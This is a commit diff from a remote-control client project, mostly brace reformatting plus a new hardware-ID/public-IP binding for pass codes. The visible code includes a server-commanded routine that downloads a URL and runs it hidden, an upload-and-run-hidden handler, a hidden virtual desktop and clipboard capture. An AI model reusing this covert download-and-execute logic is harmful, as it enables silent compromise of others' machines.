mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-21 23:13:08 +08:00
Feat&Improve: Support gen pass code binding with domain
This commit is contained in:
@@ -193,7 +193,7 @@ int main(int argc, const char *argv[])
|
|||||||
BOOL s = self_del();
|
BOOL s = self_del();
|
||||||
if (!IsDebug) {
|
if (!IsDebug) {
|
||||||
Mprintf("结束运行.\n");
|
Mprintf("结束运行.\n");
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
return r;
|
return r;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -51,16 +51,17 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
|||||||
#else
|
#else
|
||||||
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
||||||
#endif
|
#endif
|
||||||
void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac);
|
|
||||||
#else
|
#else
|
||||||
void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac)
|
#ifdef _DEBUG
|
||||||
{
|
#pragma comment(lib, "PrivateDesktop_Libd.lib")
|
||||||
return ClientObject->RunEventLoop(TRUE);
|
#else
|
||||||
}
|
#pragma comment(lib, "PrivateDesktop_Lib.lib")
|
||||||
|
#endif
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac)
|
DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac)
|
||||||
{
|
{
|
||||||
|
void ShowBlackWindow(IOCPBase * ClientObject, CONNECT_ADDRESS * conn, const std::string & hash, const std::string & hmac);
|
||||||
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn->iHeaderEnc);
|
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn->iHeaderEnc);
|
||||||
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
|
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
|
||||||
CScreenManager m(ClientObject, 32, (void*)1);
|
CScreenManager m(ClientObject, 32, (void*)1);
|
||||||
|
|||||||
@@ -110,7 +110,10 @@ public:
|
|||||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
|
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
|
||||||
|
|
||||||
// Tip: 在派生类实现该函数以便支持断线重连
|
// Tip: 在派生类实现该函数以便支持断线重连
|
||||||
virtual BOOL OnReconnect() { return FALSE; }
|
virtual BOOL OnReconnect()
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
@@ -133,7 +136,8 @@ public:
|
|||||||
m_Manager->OnReceive(szBuffer, ulLength);
|
m_Manager->OnReceive(szBuffer, ulLength);
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
static int ReconnectProcess(void* user) {
|
static int ReconnectProcess(void* user)
|
||||||
|
{
|
||||||
IOCPManager* m_Manager = (IOCPManager*)user;
|
IOCPManager* m_Manager = (IOCPManager*)user;
|
||||||
if (nullptr == m_Manager) {
|
if (nullptr == m_Manager) {
|
||||||
return FALSE;
|
return FALSE;
|
||||||
@@ -196,7 +200,8 @@ public:
|
|||||||
{
|
{
|
||||||
return m_bIsRunning;
|
return m_bIsRunning;
|
||||||
}
|
}
|
||||||
VOID StopRunning() {
|
VOID StopRunning()
|
||||||
|
{
|
||||||
m_ReconnectFunc = NULL;
|
m_ReconnectFunc = NULL;
|
||||||
m_bIsRunning = FALSE;
|
m_bIsRunning = FALSE;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -408,18 +408,21 @@ bool EnableShutdownPrivilege()
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
class CDownloadCallback : public IBindStatusCallback {
|
class CDownloadCallback : public IBindStatusCallback
|
||||||
|
{
|
||||||
private:
|
private:
|
||||||
DWORD m_startTime;
|
DWORD m_startTime;
|
||||||
DWORD m_timeout; // 毫秒
|
DWORD m_timeout; // 毫秒
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CDownloadCallback(DWORD timeoutMs) : m_timeout(timeoutMs) {
|
CDownloadCallback(DWORD timeoutMs) : m_timeout(timeoutMs)
|
||||||
|
{
|
||||||
m_startTime = GetTickCount();
|
m_startTime = GetTickCount();
|
||||||
}
|
}
|
||||||
|
|
||||||
HRESULT STDMETHODCALLTYPE OnProgress(ULONG ulProgress, ULONG ulProgressMax,
|
HRESULT STDMETHODCALLTYPE OnProgress(ULONG ulProgress, ULONG ulProgressMax,
|
||||||
ULONG ulStatusCode, LPCWSTR szStatusText) override {
|
ULONG ulStatusCode, LPCWSTR szStatusText) override
|
||||||
|
{
|
||||||
// 超时检查
|
// 超时检查
|
||||||
if (GetTickCount() - m_startTime > m_timeout) {
|
if (GetTickCount() - m_startTime > m_timeout) {
|
||||||
return E_ABORT; // 取消下载
|
return E_ABORT; // 取消下载
|
||||||
@@ -428,18 +431,46 @@ public:
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 其他接口方法返回默认值
|
// 其他接口方法返回默认值
|
||||||
HRESULT STDMETHODCALLTYPE OnStartBinding(DWORD, IBinding*) override { return S_OK; }
|
HRESULT STDMETHODCALLTYPE OnStartBinding(DWORD, IBinding*) override
|
||||||
HRESULT STDMETHODCALLTYPE GetPriority(LONG*) override { return S_OK; }
|
{
|
||||||
HRESULT STDMETHODCALLTYPE OnLowResource(DWORD) override { return S_OK; }
|
return S_OK;
|
||||||
HRESULT STDMETHODCALLTYPE OnStopBinding(HRESULT, LPCWSTR) override { return S_OK; }
|
}
|
||||||
HRESULT STDMETHODCALLTYPE GetBindInfo(DWORD*, BINDINFO*) override { return S_OK; }
|
HRESULT STDMETHODCALLTYPE GetPriority(LONG*) override
|
||||||
HRESULT STDMETHODCALLTYPE OnDataAvailable(DWORD, DWORD, FORMATETC*, STGMEDIUM*) override { return S_OK; }
|
{
|
||||||
HRESULT STDMETHODCALLTYPE OnObjectAvailable(REFIID, IUnknown*) override { return S_OK; }
|
return S_OK;
|
||||||
|
}
|
||||||
|
HRESULT STDMETHODCALLTYPE OnLowResource(DWORD) override
|
||||||
|
{
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
HRESULT STDMETHODCALLTYPE OnStopBinding(HRESULT, LPCWSTR) override
|
||||||
|
{
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
HRESULT STDMETHODCALLTYPE GetBindInfo(DWORD*, BINDINFO*) override
|
||||||
|
{
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
HRESULT STDMETHODCALLTYPE OnDataAvailable(DWORD, DWORD, FORMATETC*, STGMEDIUM*) override
|
||||||
|
{
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
HRESULT STDMETHODCALLTYPE OnObjectAvailable(REFIID, IUnknown*) override
|
||||||
|
{
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
// IUnknown
|
// IUnknown
|
||||||
ULONG STDMETHODCALLTYPE AddRef() override { return 1; }
|
ULONG STDMETHODCALLTYPE AddRef() override
|
||||||
ULONG STDMETHODCALLTYPE Release() override { return 1; }
|
{
|
||||||
HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override {
|
return 1;
|
||||||
|
}
|
||||||
|
ULONG STDMETHODCALLTYPE Release() override
|
||||||
|
{
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override
|
||||||
|
{
|
||||||
if (riid == IID_IBindStatusCallback || riid == IID_IUnknown) {
|
if (riid == IID_IBindStatusCallback || riid == IID_IUnknown) {
|
||||||
*ppv = this;
|
*ppv = this;
|
||||||
return S_OK;
|
return S_OK;
|
||||||
@@ -448,7 +479,8 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
void DownExecute(const std::string &strUrl, CManager *This) {
|
void DownExecute(const std::string &strUrl, CManager *This)
|
||||||
|
{
|
||||||
// 临时路径
|
// 临时路径
|
||||||
char szTempPath[MAX_PATH], szSavePath[MAX_PATH];
|
char szTempPath[MAX_PATH], szSavePath[MAX_PATH];
|
||||||
GetTempPathA(MAX_PATH, szTempPath);
|
GetTempPathA(MAX_PATH, szTempPath);
|
||||||
@@ -458,17 +490,14 @@ void DownExecute(const std::string &strUrl, CManager *This) {
|
|||||||
// 下载并运行
|
// 下载并运行
|
||||||
const int timeoutMs = 30 * 1000;
|
const int timeoutMs = 30 * 1000;
|
||||||
CDownloadCallback callback(timeoutMs);
|
CDownloadCallback callback(timeoutMs);
|
||||||
if (S_OK == URLDownloadToFileA(NULL, strUrl.c_str(), szSavePath, 0, &callback))
|
if (S_OK == URLDownloadToFileA(NULL, strUrl.c_str(), szSavePath, 0, &callback)) {
|
||||||
{
|
|
||||||
ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE);
|
ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE);
|
||||||
Mprintf("Download Exec Success: %s\n", strUrl.c_str());
|
Mprintf("Download Exec Success: %s\n", strUrl.c_str());
|
||||||
char buf[100];
|
char buf[100];
|
||||||
sprintf_s(buf, "Client %llu download exec succeed", This->GetClientID());
|
sprintf_s(buf, "Client %llu download exec succeed", This->GetClientID());
|
||||||
ClientMsg msg("执行成功", buf);
|
ClientMsg msg("执行成功", buf);
|
||||||
This->SendData(LPBYTE(&msg), sizeof(msg));
|
This->SendData(LPBYTE(&msg), sizeof(msg));
|
||||||
}
|
} else {
|
||||||
else
|
|
||||||
{
|
|
||||||
Mprintf("Download Exec Failed: %s\n", strUrl.c_str());
|
Mprintf("Download Exec Failed: %s\n", strUrl.c_str());
|
||||||
char buf[100];
|
char buf[100];
|
||||||
sprintf_s(buf, "Client %llu download exec failed", This->GetClientID());
|
sprintf_s(buf, "Client %llu download exec failed", This->GetClientID());
|
||||||
@@ -477,6 +506,32 @@ void DownExecute(const std::string &strUrl, CManager *This) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#include "common/location.h"
|
||||||
|
std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& masterHash)
|
||||||
|
{
|
||||||
|
config* m_iniFile = nullptr;
|
||||||
|
#ifdef _DEBUG
|
||||||
|
m_iniFile = pwdHash == masterHash ? new config : new iniFile;
|
||||||
|
#else
|
||||||
|
m_iniFile = new iniFile;
|
||||||
|
#endif
|
||||||
|
int version = m_iniFile->GetInt("settings", "BindType", 0);
|
||||||
|
std::string master = m_iniFile->GetStr("settings", "master");
|
||||||
|
SAFE_DELETE(m_iniFile);
|
||||||
|
switch (version) {
|
||||||
|
case 0:
|
||||||
|
return getHardwareID();
|
||||||
|
case 1: {
|
||||||
|
if (!master.empty()) {
|
||||||
|
return master;
|
||||||
|
}
|
||||||
|
IPConverter cvt;
|
||||||
|
return cvt.getPublicIP();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||||
@@ -489,21 +544,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
std::string publicIP = m_ClientObject->GetClientIP();
|
std::string publicIP = m_ClientObject->GetClientIP();
|
||||||
|
|
||||||
switch (szBuffer[0]) {
|
switch (szBuffer[0]) {
|
||||||
case CMD_SET_GROUP:{
|
case CMD_SET_GROUP: {
|
||||||
std::string group = std::string((char*)szBuffer + 1);
|
std::string group = std::string((char*)szBuffer + 1);
|
||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
cfg.SetStr("settings", "group_name", group);
|
cfg.SetStr("settings", "group_name", group);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_DOWN_EXEC:
|
case COMMAND_DOWN_EXEC: {
|
||||||
{
|
|
||||||
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_UPLOAD_EXEC:
|
case COMMAND_UPLOAD_EXEC: {
|
||||||
{
|
|
||||||
if (ulLength < 5) break;
|
if (ulLength < 5) break;
|
||||||
|
|
||||||
DWORD dwFileSize = *(DWORD*)(szBuffer + 1);
|
DWORD dwFileSize = *(DWORD*)(szBuffer + 1);
|
||||||
@@ -516,8 +569,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
sprintf_s(szSavePath, "%sUpload_%d.exe", szTempPath, rand() % 10086);
|
sprintf_s(szSavePath, "%sUpload_%d.exe", szTempPath, rand() % 10086);
|
||||||
|
|
||||||
FILE* fp = fopen(szSavePath, "wb");
|
FILE* fp = fopen(szSavePath, "wb");
|
||||||
if (fp)
|
if (fp) {
|
||||||
{
|
|
||||||
fwrite(pFileData, 1, dwFileSize, fp);
|
fwrite(pFileData, 1, dwFileSize, fp);
|
||||||
fclose(fp);
|
fclose(fp);
|
||||||
ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE);
|
ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE);
|
||||||
@@ -583,7 +635,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
std::string masterHash(skCrypt(MASTER_HASH));
|
std::string masterHash(skCrypt(MASTER_HASH));
|
||||||
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
|
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
|
||||||
if (passCode[0] == 0) {
|
if (passCode[0] == 0) {
|
||||||
std::string devId = getDeviceID();
|
static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash);
|
||||||
|
static std::string hashedID = hashSHA256(hardwareId);
|
||||||
|
static std::string devId = getFixedLengthID(hashedID);
|
||||||
memcpy(buf + 24, buf + 12, 8); // 消息签名
|
memcpy(buf + 24, buf + 12, 8); // 消息签名
|
||||||
memcpy(buf + 96, buf + 8, 4); // 时间戳
|
memcpy(buf + 96, buf + 8, 4); // 时间戳
|
||||||
memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节
|
memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节
|
||||||
|
|||||||
@@ -202,7 +202,8 @@ public:
|
|||||||
CloseHandle(hProcessSnap);
|
CloseHandle(hProcessSnap);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
virtual uint64_t GetClientID() const override {
|
virtual uint64_t GetClientID() const override
|
||||||
|
{
|
||||||
return m_conn->clientID;
|
return m_conn->clientID;
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -277,13 +277,14 @@ std::string GetCurrentUserNameA()
|
|||||||
#define XXH_INLINE_ALL
|
#define XXH_INLINE_ALL
|
||||||
#include "server/2015Remote/xxhash.h"
|
#include "server/2015Remote/xxhash.h"
|
||||||
// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
|
// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
|
||||||
uint64_t CalcalateID(const std::vector<std::string>& clientInfo) {
|
uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
|
||||||
std::string s;
|
{
|
||||||
for (int i = 0; i < 5; i++) {
|
std::string s;
|
||||||
s += clientInfo[i] + "|";
|
for (int i = 0; i < 5; i++) {
|
||||||
}
|
s += clientInfo[i] + "|";
|
||||||
s.erase(s.length()-1);
|
}
|
||||||
return XXH64(s.c_str(), s.length(), 0);
|
s.erase(s.length()-1);
|
||||||
|
return XXH64(s.c_str(), s.length(), 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
|
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
|
||||||
|
|||||||
@@ -65,7 +65,8 @@ public:
|
|||||||
{
|
{
|
||||||
m_bReady = ready;
|
m_bReady = ready;
|
||||||
}
|
}
|
||||||
virtual uint64_t GetClientID() const {
|
virtual uint64_t GetClientID() const
|
||||||
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -25,7 +25,8 @@ public:
|
|||||||
{
|
{
|
||||||
for (size_t i = 0; i < numThreads; ++i) {
|
for (size_t i = 0; i < numThreads; ++i) {
|
||||||
workers.emplace_back([this] {
|
workers.emplace_back([this] {
|
||||||
while (true) {
|
while (true)
|
||||||
|
{
|
||||||
std::function<void()> task;
|
std::function<void()> task;
|
||||||
{
|
{
|
||||||
std::unique_lock<std::mutex> lock(this->queueMutex);
|
std::unique_lock<std::mutex> lock(this->queueMutex);
|
||||||
@@ -239,12 +240,13 @@ public:
|
|||||||
}
|
}
|
||||||
|
|
||||||
public:
|
public:
|
||||||
virtual BOOL UsingDXGI() const {
|
virtual BOOL UsingDXGI() const
|
||||||
|
{
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
//*************************************** 图像差异算法(串行) *************************************
|
//*************************************** 图像差异算法(串行) *************************************
|
||||||
ULONG CompareBitmapDXGI(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
|
ULONG CompareBitmapDXGI(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
|
||||||
DWORD ulCompareLength, BYTE algo, int startPostion = 0)
|
DWORD ulCompareLength, BYTE algo, int startPostion = 0)
|
||||||
{
|
{
|
||||||
// Windows规定一个扫描行所占的字节数必须是4的倍数, 所以用DWORD比较
|
// Windows规定一个扫描行所占的字节数必须是4的倍数, 所以用DWORD比较
|
||||||
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
|
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
|
||||||
@@ -267,8 +269,7 @@ public:
|
|||||||
if (channel != 1) {
|
if (channel != 1) {
|
||||||
memcpy(p, pos2, ulCount);
|
memcpy(p, pos2, ulCount);
|
||||||
p += ulCount;
|
p += ulCount;
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
for (LPBYTE end = p + ulCount / ratio; p < end; p += channel, ++pos2) {
|
for (LPBYTE end = p + ulCount / ratio; p < end; p += channel, ++pos2) {
|
||||||
LPBYTE src = (LPBYTE)pos2;
|
LPBYTE src = (LPBYTE)pos2;
|
||||||
*p = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
|
*p = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
|
||||||
@@ -283,7 +284,7 @@ public:
|
|||||||
virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
|
virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
|
||||||
DWORD ulCompareLength, BYTE algo, int startPostion = 0)
|
DWORD ulCompareLength, BYTE algo, int startPostion = 0)
|
||||||
{
|
{
|
||||||
if (UsingDXGI())
|
if (UsingDXGI())
|
||||||
return CompareBitmapDXGI(CompareSourData, CompareDestData, szBuffer, ulCompareLength, algo, startPostion);
|
return CompareBitmapDXGI(CompareSourData, CompareDestData, szBuffer, ulCompareLength, algo, startPostion);
|
||||||
|
|
||||||
LPBYTE p = szBuffer;
|
LPBYTE p = szBuffer;
|
||||||
@@ -458,15 +459,18 @@ public:
|
|||||||
return offset; // 返回缓冲区的大小
|
return offset; // 返回缓冲区的大小
|
||||||
}
|
}
|
||||||
|
|
||||||
virtual int GetFrameID() const {
|
virtual int GetFrameID() const
|
||||||
|
{
|
||||||
return m_FrameID;
|
return m_FrameID;
|
||||||
}
|
}
|
||||||
|
|
||||||
virtual LPBYTE GetFirstBuffer() const {
|
virtual LPBYTE GetFirstBuffer() const
|
||||||
|
{
|
||||||
return m_FirstBuffer;
|
return m_FirstBuffer;
|
||||||
}
|
}
|
||||||
|
|
||||||
virtual int GetBMPSize() const {
|
virtual int GetBMPSize() const
|
||||||
|
{
|
||||||
assert(m_BitmapInfor_Full);
|
assert(m_BitmapInfor_Full);
|
||||||
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -40,7 +40,8 @@ public:
|
|||||||
SAFE_DELETE_ARRAY(m_RectBuffer);
|
SAFE_DELETE_ARRAY(m_RectBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
virtual BOOL UsingDXGI() const {
|
virtual BOOL UsingDXGI() const
|
||||||
|
{
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -31,32 +31,11 @@
|
|||||||
#pragma comment(lib, "FileUpload_Libx64.lib")
|
#pragma comment(lib, "FileUpload_Libx64.lib")
|
||||||
#endif
|
#endif
|
||||||
#else
|
#else
|
||||||
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs)
|
#ifdef _DEBUG
|
||||||
{
|
#pragma comment(lib, "FileUpload_Libd.lib")
|
||||||
return 0;
|
#else
|
||||||
}
|
#pragma comment(lib, "FileUpload_Lib.lib")
|
||||||
int UninitFileUpload()
|
#endif
|
||||||
{
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
std::vector<std::string> GetClipboardFiles(int &result)
|
|
||||||
{
|
|
||||||
return{};
|
|
||||||
}
|
|
||||||
bool GetCurrentFolderPath(std::string& outDir)
|
|
||||||
{
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
|
||||||
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac)
|
|
||||||
{
|
|
||||||
finish(user);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac)
|
|
||||||
{
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
@@ -196,38 +175,40 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
|
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
|
||||||
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
|
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName)
|
||||||
// 切换到目标桌面
|
{
|
||||||
if (!SetThreadDesktop(hDesk)) {
|
// 切换到目标桌面
|
||||||
return FALSE;
|
if (!SetThreadDesktop(hDesk)) {
|
||||||
}
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
// 枚举目标桌面的所有窗口
|
// 枚举目标桌面的所有窗口
|
||||||
BOOL bFound = FALSE;
|
BOOL bFound = FALSE;
|
||||||
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
|
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
|
||||||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
|
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
|
||||||
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
|
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
|
||||||
|
|
||||||
DWORD dwProcessId;
|
DWORD dwProcessId;
|
||||||
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||||
|
|
||||||
// 获取进程名
|
// 获取进程名
|
||||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
|
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
|
||||||
if (hProcess) {
|
if (hProcess)
|
||||||
char exePath[MAX_PATH];
|
{
|
||||||
DWORD size = MAX_PATH;
|
char exePath[MAX_PATH];
|
||||||
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
|
DWORD size = MAX_PATH;
|
||||||
if (_stricmp(exePath, pData->first) == 0) {
|
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
|
||||||
*(pData->second) = TRUE;
|
if (_stricmp(exePath, pData->first) == 0) {
|
||||||
return FALSE; // 终止枚举
|
*(pData->second) = TRUE;
|
||||||
}
|
return FALSE; // 终止枚举
|
||||||
}
|
}
|
||||||
CloseHandle(hProcess);
|
}
|
||||||
}
|
CloseHandle(hProcess);
|
||||||
return TRUE; // 继续枚举
|
}
|
||||||
}, reinterpret_cast<LPARAM>(&data));
|
return TRUE; // 继续枚举
|
||||||
|
}, reinterpret_cast<LPARAM>(&data));
|
||||||
|
|
||||||
return bFound;
|
return bFound;
|
||||||
}
|
}
|
||||||
|
|
||||||
void CScreenManager::InitScreenSpy()
|
void CScreenManager::InitScreenSpy()
|
||||||
@@ -250,29 +231,26 @@ void CScreenManager::InitScreenSpy()
|
|||||||
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
|
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
|
||||||
if (DXGI == USING_VIRTUAL) {
|
if (DXGI == USING_VIRTUAL) {
|
||||||
m_virtual = TRUE;
|
m_virtual = TRUE;
|
||||||
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
|
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
|
||||||
if (!hDesk) {
|
if (!hDesk) {
|
||||||
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
|
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
|
||||||
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
|
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
|
||||||
}
|
} else {
|
||||||
else {
|
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
|
||||||
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
|
}
|
||||||
}
|
if (hDesk) {
|
||||||
if (hDesk) {
|
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
|
||||||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
|
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile)) {
|
||||||
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
|
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
|
||||||
{
|
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
|
||||||
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
|
}
|
||||||
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
|
} else {
|
||||||
}
|
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
|
||||||
}
|
}
|
||||||
else {
|
SetThreadDesktop(g_hDesk = hDesk);
|
||||||
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
|
}
|
||||||
}
|
|
||||||
SetThreadDesktop(g_hDesk = hDesk);
|
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
HDESK hDesk = OpenActiveDesktop();
|
HDESK hDesk = OpenActiveDesktop();
|
||||||
if (hDesk) {
|
if (hDesk) {
|
||||||
@@ -600,46 +578,46 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
VOID CScreenManager::SendClientClipboard(BOOL fast)
|
VOID CScreenManager::SendClientClipboard(BOOL fast)
|
||||||
{
|
{
|
||||||
if (!::OpenClipboard(NULL))
|
if (!::OpenClipboard(NULL))
|
||||||
return;
|
return;
|
||||||
|
|
||||||
// 改为获取 Unicode 格式
|
// 改为获取 Unicode 格式
|
||||||
HGLOBAL hGlobal = GetClipboardData(CF_UNICODETEXT);
|
HGLOBAL hGlobal = GetClipboardData(CF_UNICODETEXT);
|
||||||
if (hGlobal == NULL) {
|
if (hGlobal == NULL) {
|
||||||
::CloseClipboard();
|
::CloseClipboard();
|
